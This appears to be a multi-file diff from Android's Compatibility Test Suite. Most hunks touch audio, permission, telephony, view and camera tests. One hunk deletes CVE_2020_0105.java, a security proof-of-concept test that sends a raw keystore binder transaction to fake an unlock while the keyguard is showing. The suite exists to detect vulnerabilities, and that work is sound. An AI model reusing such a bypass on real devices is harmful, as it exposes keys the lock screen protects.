// adjust volume as ADJUST_RAISE
mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
// adjust volume as ADJUST_LOWER
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index cc19ba5..d179c5a 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1720,7 +1720,7 @@
playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
- NO_WAIT);
+ NO_WAIT, 0 /* mask */);
}
@Test
@@ -1762,7 +1762,7 @@
for (int TEST_CONF : TEST_CONF_ARRAY) {
playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
- WAIT_MSEC);
+ WAIT_MSEC, 0 /* mask */);
frequency += 50; // increment test tone frequency
}
}
@@ -1771,7 +1771,8 @@
private void playOnceStreamData(String testName, int testMode, int testStream,
float testSweep, boolean isLowRamDevice, int testFormat, double testFrequency,
- int testSr, int testConf, long waitMsec) throws InterruptedException {
+ int testSr, int testConf, long waitMsec, int mask)
+ throws InterruptedException {
final int channelCount = Integer.bitCount(testConf);
if (isLowRamDevice
&& (testSr > 96000 || channelCount > 4)) {
@@ -1790,9 +1791,9 @@
assertEquals(testName, testConf, format.getChannelMask());
assertEquals(testName, channelCount, format.getChannelCount());
assertEquals(testName, testFormat, format.getEncoding());
- final int sourceSamples = channelCount
- * AudioHelper.frameCountFromMsec(500,
- format); // duration of test tones
+ // duration of test tones
+ final int frames = AudioHelper.frameCountFromMsec(500 /* ms */, format);
+ final int sourceSamples = channelCount * frames;
final double frequency = testFrequency / channelCount;
int written = 0;
@@ -1815,6 +1816,9 @@
byte data[] = AudioHelper.createSoundDataInByteArray(
sourceSamples, testSr,
frequency, testSweep);
+ if (mask != 0) {
+ AudioHelper.maskArray(data, testConf, mask);
+ }
while (written < data.length) {
int samples = Math.min(data.length - written, samplesPerWrite);
int ret = track.write(data, written, samples);
@@ -1827,6 +1831,9 @@
short data[] = AudioHelper.createSoundDataInShortArray(
sourceSamples, testSr,
frequency, testSweep);
+ if (mask != 0) {
+ AudioHelper.maskArray(data, testConf, mask);
+ }
while (written < data.length) {
int samples = Math.min(data.length - written, samplesPerWrite);
int ret = track.write(data, written, samples);
@@ -1839,6 +1846,9 @@
float data[] = AudioHelper.createSoundDataInFloatArray(
sourceSamples, testSr,
frequency, testSweep);
+ if (mask != 0) {
+ AudioHelper.maskArray(data, testConf, mask);
+ }
while (written < data.length) {
int samples = Math.min(data.length - written, samplesPerWrite);
int ret = track.write(data, written, samples,
@@ -3225,7 +3235,7 @@
}
playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
- WAIT_MSEC);
+ WAIT_MSEC, 0 /* mask */);
frequency += 50; // increment test tone frequency
}
}
@@ -3281,6 +3291,61 @@
}
/**
+ * Verifies downmixer works with different AudioTrack surround channel masks.
+ *
+ * Also a listening test: on a stereo output device, you should hear sine wave tones
+ * instead of silence if the downmixer is working.
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testDownmix() throws Exception {
+ if (!hasAudioOutput()) {
+ return;
+ }
+
+ final String TEST_NAME = "testDownmix";
+ final int TEST_FORMAT_ARRAY[] = {
+ // AudioFormat.ENCODING_PCM_8BIT, // sounds a bit tinny
+ AudioFormat.ENCODING_PCM_16BIT,
+ AudioFormat.ENCODING_PCM_FLOAT,
+ };
+ final int TEST_SR_ARRAY[] = {
+ 48000,
+ };
+ final int TEST_CONF_ARRAY[] = {
+ // This test will play back FRONT_WIDE_LEFT, then FRONT_WIDE_RIGHT.
+ AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
+ AudioFormat.CHANNEL_OUT_FRONT_WIDE_LEFT | AudioFormat.CHANNEL_OUT_FRONT_WIDE_RIGHT,
+ };
+
+ final int TEST_MODE = AudioTrack.MODE_STREAM;
+ final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+ final float TEST_SWEEP = 0; // sine wave only
+ final boolean TEST_IS_LOW_RAM_DEVICE = false;
+ for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+ double frequency = 400; // Note: frequency changes for each test
+ for (int TEST_SR : TEST_SR_ARRAY) {
+ for (int TEST_CONF : TEST_CONF_ARRAY) {
+ // Remove the front left and front right channels.
+ int signalMask = TEST_CONF & ~(AudioFormat.CHANNEL_OUT_FRONT_LEFT
+ | AudioFormat.CHANNEL_OUT_FRONT_RIGHT);
+ // Play all the "surround channels" in the mask individually
+ // at different frequencies.
+ while (signalMask != 0) {
+ final int lowbit = signalMask & -signalMask;
+ playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+ TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR,
+ TEST_CONF, WAIT_MSEC, lowbit);
+ signalMask -= lowbit;
+ frequency += 50; // increment test tone frequency
+ }
+ }
+ }
+ }
+ }
+
+ /**
* Ensure AudioTrack.getMinBufferSize invalid arguments return BAD_VALUE instead
* of throwing exception.
*
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 746f8b2..5deef30 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system"/>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 79ea698..73ff59a 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
diff --git a/tests/tests/packageinstaller/install/AndroidTest.xml b/tests/tests/packageinstaller/install/AndroidTest.xml
index a890706..65ab22f 100644
--- a/tests/tests/packageinstaller/install/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml b/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
index 4f3c46b..c4aea70 100644
--- a/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml b/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
index fbaebed..b1d19f8 100644
--- a/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
index d8f7132..78a60e9 100644
--- a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
+++ b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index dd98214..9418a06 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 27b7c3b..4117a78 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -385,6 +385,11 @@
android:label="@string/car_permission_car_cluster_control"
android:description="@string/car_permission_desc_car_cluster_control"/>
+ <permission android:name="android.car.permission.CAR_MONITOR_CLUSTER_NAVIGATION_STATE"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_car_monitor_cluster_navigation_state"
+ android:description="@string/car_permission_desc_car_monitor_cluster_navigation_state"/>
+
<permission android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
android:protectionLevel="system|signature"
android:label="@string/car_permission_label_car_handle_usb_aoap_device"
@@ -480,6 +485,11 @@
android:label="@string/car_permission_label_monitor_input"
android:description="@string/car_permission_desc_monitor_input"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_APP_LAUNCH"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_control_car_app_launch"
+ android:description="@string/car_permission_desc_control_car_app_launch"/>
+
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.DEVICE_POWER"/>
<uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 614cdc6..ff261f6e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -17,8 +17,11 @@
package android.permission3.cts
import android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
+import android.Manifest.permission.ACCESS_COARSE_LOCATION
import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.support.test.uiautomator.By
import org.junit.Test
+import org.junit.Assert.assertNull
/**
* Runtime permission behavior apps targeting API 30
@@ -53,4 +56,23 @@
pressBack()
}
}
+
+ @Test
+ fun testRequestFgLocationAndNoAccuracyOptions() {
+ installPackage(APP_APK_PATH_30)
+ assertAppHasPermission(ACCESS_FINE_LOCATION, false)
+ assertAppHasPermission(ACCESS_COARSE_LOCATION, false)
+
+ requestAppPermissionsAndAssertResult(ACCESS_FINE_LOCATION to false,
+ ACCESS_COARSE_LOCATION to false) {
+ // Verify there's no location accuracy options
+ val locationAccuracyOptions = waitFindObjectOrNull(By.res(
+ "com.android.permissioncontroller:id/permission_location_accuracy"), 1000L)
+ assertNull("For apps targetSDK < 31, location permission dialog shouldn't show " +
+ "accuracy options. Please update the system with " +
+ "the latest (at least Oct, 2021) mainline modules.",
+ locationAccuracyOptions)
+ return
+ }
+ }
}
diff --git a/tests/tests/resourcesloader/AndroidTest.xml b/tests/tests/resourcesloader/AndroidTest.xml
index 35e5951..154accb 100644
--- a/tests/tests/resourcesloader/AndroidTest.xml
+++ b/tests/tests/resourcesloader/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index fbf24fd..675106f 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -27,7 +27,6 @@
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.WAKE_LOCK" />
<!-- For FileIntegrityManager -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0105.java b/tests/tests/security/src/android/security/cts/CVE_2020_0105.java
deleted file mode 100644
index 3748fc4..0000000
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0105.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.os.IBinder;
-import android.os.Parcel;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.platform.test.annotations.AsbSecurityTest;
-import android.security.keystore.KeyGenParameterSpec;
-import android.security.keystore.KeyProperties;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-import java.lang.reflect.Method;
-import java.security.KeyStore;
-import javax.crypto.KeyGenerator;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeNotNull;
-
-@RunWith(AndroidJUnit4.class)
-public class CVE_2020_0105 {
- private WakeLock mScreenLock;
-
- @Before
- public void setUp() {
- String TAG = "CVE-2020-0105";
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- assumeNotNull(context);
- PowerManager powerManager = context.getSystemService(PowerManager.class);
- assumeNotNull(powerManager);
- mScreenLock = powerManager.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK
- | PowerManager.ACQUIRE_CAUSES_WAKEUP, TAG);
- assumeNotNull(mScreenLock);
- mScreenLock.acquire();
- KeyguardManager keyguardManager = (KeyguardManager) context
- .getSystemService(KeyguardManager.class);
- assumeNotNull(keyguardManager);
- KeyguardManager.KeyguardLock keyguardLock
- = keyguardManager.newKeyguardLock("UnlockScreen");
- assumeNotNull(keyguardLock);
- keyguardLock.disableKeyguard();
- keyguardLock.reenableKeyguard();
- }
-
- @After
- public void tearDown() {
- mScreenLock.release();
- }
-
- private boolean fakeUnlock() throws Exception {
- int actionToPerform = 35;
- int normalRPC = 0;
- int isShowing = 0;
- int userId = 0;
- Class smClass = Class.forName("android.os.ServiceManager");
- assumeNotNull(smClass);
- Method getService = smClass.getMethod("getService", String.class);
- assumeNotNull(getService);
- IBinder binder = (IBinder) getService.invoke(smClass,
- "android.security.keystore");
- assumeNotNull(binder);
- Parcel data = Parcel.obtain();
- assumeNotNull(data);
- Parcel reply = Parcel.obtain();
- assumeNotNull(reply);
- data.writeInterfaceToken("android.security.keystore.IKeystoreService");
- data.writeInt(isShowing);
- data.writeInt(userId);
- if (binder.transact(actionToPerform, data, reply, normalRPC)) {
- reply.readException();
- if (reply.readInt() != 1) {
- return false;
- }
- }
- return true;
- }
-
- @AsbSecurityTest(cveBugId = 144285084)
- @Test
- public void testCVE_2020_0105() throws Exception {
- String KEY_ALIAS = "key";
- String KEYSTORE = "AndroidKeyStore";
- boolean containsAlias = false;
- final KeyStore keyStore = KeyStore.getInstance(KEYSTORE);
- assumeNotNull(keyStore);
- keyStore.load(null);
- try {
- containsAlias = keyStore.containsAlias(KEY_ALIAS);
- } catch (NullPointerException e) {
- assumeNoException(e);
- }
- if (!containsAlias) {
- final KeyGenParameterSpec keyGenParameterSpec =
- new KeyGenParameterSpec.Builder(KEY_ALIAS,
- KeyProperties.PURPOSE_ENCRYPT
- | KeyProperties.PURPOSE_DECRYPT)
- .setBlockModes(
- KeyProperties.BLOCK_MODE_GCM)
- .setEncryptionPaddings(
- KeyProperties.ENCRYPTION_PADDING_NONE)
- .setUnlockedDeviceRequired(true)
- .build();
- assumeNotNull(keyGenParameterSpec);
- KeyGenerator keyGenerator = KeyGenerator
- .getInstance(KeyProperties.KEY_ALGORITHM_AES, KEYSTORE);
- assumeNotNull(keyGenerator);
- keyGenerator.init(keyGenParameterSpec);
- keyGenerator.generateKey();
- }
- String message =
- "Keyguard-bound keys are accessible even when keyguard is visible. "
- + "Hence device is vulnerable to b/144285084";
- assertFalse(message, fakeUnlock());
- }
-}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index 571c293..b39bc71 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -17,8 +17,8 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import androidx.test.filters.RequiresDevice;
import androidx.test.runner.AndroidJUnit4;
+import dalvik.system.VMRuntime;
import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
@@ -33,12 +33,12 @@
* b/172655291
*/
@Test
- @RequiresDevice
- // emulators always have checkJNI enabled which causes the test
- // to abort the VM while passing invalid input to NewStringUTF
@AsbSecurityTest(cveBugId = 172655291)
public void testPocCVE_2021_0394() throws Exception {
- assertFalse(poc());
+ VMRuntime vmRuntime = VMRuntime.getRuntime();
+ if (!vmRuntime.isCheckJniEnabled()) {
+ assertFalse(poc());
+ }
}
public static native boolean poc();
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index 2607eab..bd21f9f 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -27,6 +27,7 @@
import android.hardware.SensorPrivacyManager.Sources.OTHER
import android.os.PowerManager
import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
import android.support.test.uiautomator.By
import android.view.KeyEvent
import androidx.test.platform.app.InstrumentationRegistry
@@ -330,6 +331,7 @@
}
@Test
+ @AsbSecurityTest(cveBugId = [199550934])
fun testTapjacking() {
setSensor(true)
startTestOverlayApp(false)
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
index 551a78d..e180e45 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
@@ -27,6 +27,7 @@
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "sts",
"general-tests",
],
srcs: ["src/**/*.kt"],
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
index 08ff0fcc..585da24 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
@@ -27,6 +27,7 @@
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "sts",
"general-tests",
],
srcs: ["src/**/*.kt"],
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index f142758..3a63d1d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -1938,29 +1938,39 @@
subscribeRequestCount.set(0);
}
- // Prepare the network response with sip code 200 OK
+ // Override the network response with the sip code 503 Service Unavailable
capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
subscribeRequestCount.incrementAndGet();
- cb.onNetworkResponse(200, "OK");
+ cb.onNetworkResponse(503, "Service Unavailable");
});
try {
// Request contact uce capabilities again.
requestCapabilities(uceAdapter, contacts, callback);
- // Verify that the callback "onError" is called with the error code FORBIDDEN
- assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
- // Verify the retryAfter value
- long retryAfterMillis = waitForLongResult(retryAfterQueue);
if (sipCode == sipCodeForbidden) {
- assertEquals(0L, retryAfterMillis);
+ // Verify that device can still send the subscribe request. The callback
+ // "onError" is called with the Server Unavailable error.
+ assertEquals(RcsUceAdapter.ERROR_SERVER_UNAVAILABLE,
+ waitForIntResult(errorQueue));
+ // Verify the retryAfter value
+ assertEquals(0L, waitForLongResult(retryAfterQueue));
+ // Verify that the capabilities is not forbidden. The ImsService received the
+ // request from the framework.
+ assertEquals(1, subscribeRequestCount.get());
} else if (sipCode == sipCodeBadEvent) {
- assertTrue(retryAfterMillis > 0L);
- }
+ // When carrier config Bad Event flag is enabled and the device has received
+ // the sip code 489 (bad event) before, the uce request will be forbidden.
- // Verify that the capabilities won't be send to the ImsService because the
- // uce request is forbidden.
- assertEquals(0, subscribeRequestCount.get());
+ // Verify that the callback "onError" is called with the error code FORBIDDEN
+ assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
+ // Verify the retryAfter value
+ long retryAfterMillis = waitForLongResult(retryAfterQueue);
+ assertTrue(retryAfterMillis > 0L);
+ // Verify that the capabilities won't be send to the ImsService because the
+ // uce request is forbidden.
+ assertEquals(0, subscribeRequestCount.get());
+ }
} catch (Exception e) {
fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
} finally {
diff --git a/tests/tests/view/receivecontent/AndroidTest.xml b/tests/tests/view/receivecontent/AndroidTest.xml
index a66421a..6ce64b2 100644
--- a/tests/tests/view/receivecontent/AndroidTest.xml
+++ b/tests/tests/view/receivecontent/AndroidTest.xml
@@ -31,4 +31,9 @@
<option name="package" value="android.view.cts.receivecontent" />
<option name="runtime-hint" value="1m" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm64-v8a and device is x86_64 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+
</configuration>
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 2837c98..88c5242 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -2891,6 +2891,28 @@
eq(new WindowInsets.Builder().build()));
}
+ @UiThreadTest
+ @Test
+ public void testFindViewById_shouldBeDFS() {
+ View v1 = new View(mContext);
+ View v2 = new View(mContext);
+ View w1 = new View(mContext);
+ View w2 = new View(mContext);
+ v1.setId(2);
+ v2.setId(2);
+ w1.setId(3);
+ w2.setId(3);
+ ViewGroup vg1 = new MockViewGroup(mContext);
+ mMockViewGroup.addView(vg1);
+ vg1.addView(v1);
+ mMockViewGroup.addView(v2);
+ vg1.addView(w1);
+ vg1.addView(w2);
+
+ assertSame(v1, mMockViewGroup.findViewById(2));
+ assertSame(w1, mMockViewGroup.findViewById(3));
+ }
+
static class MockTextView extends TextView {
public boolean isClearFocusCalled;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
index 0202dde..ec4c0c7 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
import android.app.Instrumentation;
import android.content.Context;
@@ -340,6 +341,34 @@
doesntRecycleWhenViewIdDoesntMatch(true /* async */);
}
+ private void recycleWhenViewIdDoesntMatchFailsInMultipleLayout(boolean async) throws Throwable {
+ RemoteViews childRv = createRemoteViews(R.layout.remoteviews_recycle, 2);
+ RemoteViews rv = new RemoteViews(childRv, childRv);
+ applyRemoteViews(rv);
+
+ RemoteViews childRv2 = createRemoteViews(R.layout.remoteviews_recycle, 3);
+ RemoteViews rv2 = new RemoteViews(childRv2, childRv2);
+
+ try {
+ reapplyRemoteViews(rv2, async);
+ } catch (RuntimeException ex) {
+ return; // success
+ } catch (Throwable t) {
+ fail("Excepted a RuntimeException, received " + t.toString());
+ }
+ fail("Excepted a RuntimeException, no exception received.");
+ }
+
+ @Test
+ public void recycleWhenViewIdDoesntMatchFailsInMultipleLayoutSync() throws Throwable {
+ recycleWhenViewIdDoesntMatchFailsInMultipleLayout(false /* async */);
+ }
+
+ @Test
+ public void recycleWhenViewIdDoesntMatchFailsInMultipleLayoutAsync() throws Throwable {
+ recycleWhenViewIdDoesntMatchFailsInMultipleLayout(true /* async */);
+ }
+
private void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(boolean async)
throws Throwable {
RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 906b917..4a12d70 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -24,6 +24,8 @@
import android.hardware.camera2.params.BlackLevelPattern;
import android.hardware.camera2.params.ColorSpaceTransform;
import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamInfo;
import android.media.CamcorderProfile;
import android.os.Build;
import android.util.Log;
@@ -42,6 +44,7 @@
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
@@ -232,6 +235,18 @@
mStore.endGroup();
}
+ private void storeRangeFloat(
+ Range<Float> range, String protoName) throws Exception {
+ if (protoName == null) {
+ mStore.startGroup();
+ } else {
+ mStore.startGroup(protoName);
+ }
+ mStore.addResult("lower", range.getLower());
+ mStore.addResult("upper", range.getUpper());
+ mStore.endGroup();
+ }
+
private void storeRangeInt(
Range<Integer> range, String protoName) throws Exception {
